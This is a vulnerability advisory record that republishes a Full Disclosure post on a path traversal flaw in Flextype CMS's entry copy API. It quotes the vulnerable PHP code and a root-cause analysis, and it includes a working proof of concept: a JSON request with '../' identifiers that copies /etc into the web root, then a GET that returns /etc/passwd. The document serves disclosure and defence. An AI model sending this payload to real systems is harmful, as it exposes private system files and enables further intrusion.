GCVE-1988-2026-0010
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
Entries copy functionality. An authenticated remote attacker can supply
directory traversal sequences within both the source id and destination
new_id parameters submitted to /api/v1/entries/copy.
Flextype constructs entry directory paths by directly concatenating the
supplied entry identifier with the configured entries directory without
sufficiently canonicalizing the resulting path or verifying that it remains
within the intended project/entries directory.
As a result, an attacker can escape the configured entries directory for
both the source and destination of a copy operation. Testing confirmed that
a source identifier containing ../../../etc resolved to the system /etc
directory and that a destination identifier containing ../../etc-copy
caused the directory to be copied outside project/entries to /app/etc-copy.
The copied /etc/passwd file was subsequently accessible over HTTP from
/etc-copy/passwd, resulting in disclosure of operating-system files that
were not intended to be exposed by the web application.
Impact
Successful exploitation allows an authenticated remote attacker to escape
the Flextype entries directory and use filesystem directories outside the
intended content storage location as the source or destination of entry
copy operations.
Testing demonstrated that the vulnerability can copy operating-system files
from /etc into a web-accessible location under the application root. This
resulted in remote disclosure of /etc/passwd.
Depending on filesystem permissions, application deployment layout, and
web-server configuration, the vulnerability may allow disclosure of
sensitive application and operating-system files by copying otherwise
inaccessible directories into web-accessible locations.
The destination traversal also provides a filesystem write/copy primitive
outside the intended project/entries security boundary. This primitive may
increase the impact of other vulnerabilities when chained with
functionality capable of interpreting or executing attacker-controlled
files.
DetailsVulnerable Entry Copy Implementation
The Flextype copy() method receives the existing entry identifier and new
entry identifier and eventually passes both values to getDirectoryLocation()
:
public function copy(string $id, string $newID): bool
{
// Collections validation helper.
// Check if collections are identical.
$isValidCollections = function ($id, $newID) {
$collectionForCurrentEntry = $this->getCollectionOptions($id);
$collectionForNewEntry = $this->getCollectionOptions($newID);
$result = true;
if (! isset($collectionForCurrentEntry['filename']) ||
! isset($collectionForCurrentEntry['extension']) ||
! isset($collectionForCurrentEntry['serializer']) ||
! isset($collectionForNewEntry['filename']) ||
! isset($collectionForNewEntry['extension']) ||
! isset($collectionForNewEntry['serializer'])) {
$result = false;
}
if (($collectionForCurrentEntry['filename'] !=
$collectionForNewEntry['filename']) ||
($collectionForCurrentEntry['extension'] !=
$collectionForNewEntry['extension']) ||
($collectionForCurrentEntry['serializer'] !=
$collectionForNewEntry['serializer'])) {
$result = false;
}
return $result;
};
if (! $isValidCollections($id, $newID)) {
return false;
}
$this->registry()->set('methods.copy', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
'newID' => $newID,
],
'result' => null,
]);
emitter()->emit('onEntriesCopy');
if (! is_null($this->registry()->get('methods.copy.result')) &&
is_bool($this->registry()->get('methods.copy.result'))) {
return $this->registry()->get('methods.copy.result');
}
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
}
The getDirectoryLocation() method constructs the filesystem path using the
supplied identifier:
public function getDirectoryLocation(string $id): string
{
$this->registry()->set('methods.getDirectoryLocation', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
],
'result' => null,
]);
emitter()->emit('onEntriesGetDirectoryLocation');
if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
&&
is_string($this->registry()->get('methods.getDirectoryLocation.result')))
{
return $this->registry()->get('methods.getDirectoryLocation.result');
}
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
}
The supplied identifier is appended directly to:
FLEXTYPE_PATH_PROJECT/<entries-directory>/
without enforcing that the canonicalized resulting path remains beneath the
intended entries directory.
Consequently, traversal sequences within an entry identifier can escape the
expected directory.
Proof of Concept — Escape Source and Destination Directories
The following request supplies traversal sequences for both the source and
destination identifiers:
PUT /api/v1/entries/copy HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
Given an entries directory rooted at:
/app/project/entries
the source:
../../../etc
escapes the entries directory and resolves to:
/etc
The destination:
../../etc-copy
similarly escapes the entries directory and resolves to:
/app/etc-copy
The HTTP endpoint returned:
HTTP/1.1 404 Not Found
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
Despite the HTTP 404 response, filesystem inspection confirmed that the
copy operation occurred.
Proof of Concept — Filesystem Evidence
Following the request, /etc/passwd existed beneath the attacker-selected
escaped destination:
realpath: /app/etc-copy/passwd
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
The resulting path:
/app/etc-copy/passwd
is outside the intended:
/app/project/entries
directory.
This demonstrates that the traversal sequences affected the underlying
filesystem operation despite the API returning HTTP 404.
Proof of Concept — Remote File Disclosure
The copied file could subsequently be retrieved directly through the web
server:
GET /etc-copy/passwd HTTP/1.1
Host: 127.0.0.1:18080
The application returned the copied operating-system file:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
Content-Length: 839
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
Root Cause
The root cause is insufficient validation and canonicalization of entry
identifiers before they are incorporated into filesystem paths.
The vulnerable path construction is:
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
The resulting path is then used directly by the copy operation:
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
Neither the source nor destination is shown being canonicalized and checked
to ensure it remains beneath the configured entries directory before the
filesystem copy operation occurs.
This allows ../ path components supplied through the entry identifiers to
escape the intended filesystem boundary.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n // Collections validation helper.\n // Check if collections are identical.\n $isValidCollections = function ($id, $newID) {\n $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n $collectionForNewEntry = $this-\u003egetCollectionOptions($newID);\n\n $result = true;\n\n if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n return $result;\n };\n\n if (! $isValidCollections($id, $newID)) {\n return false;\n }\n\n $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n \u0027newID\u0027 =\u003e $newID,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n }\n\n return filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n }\n\n return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/22"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/22"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0010",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
"automated": true,
"contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:22:38Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0010"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…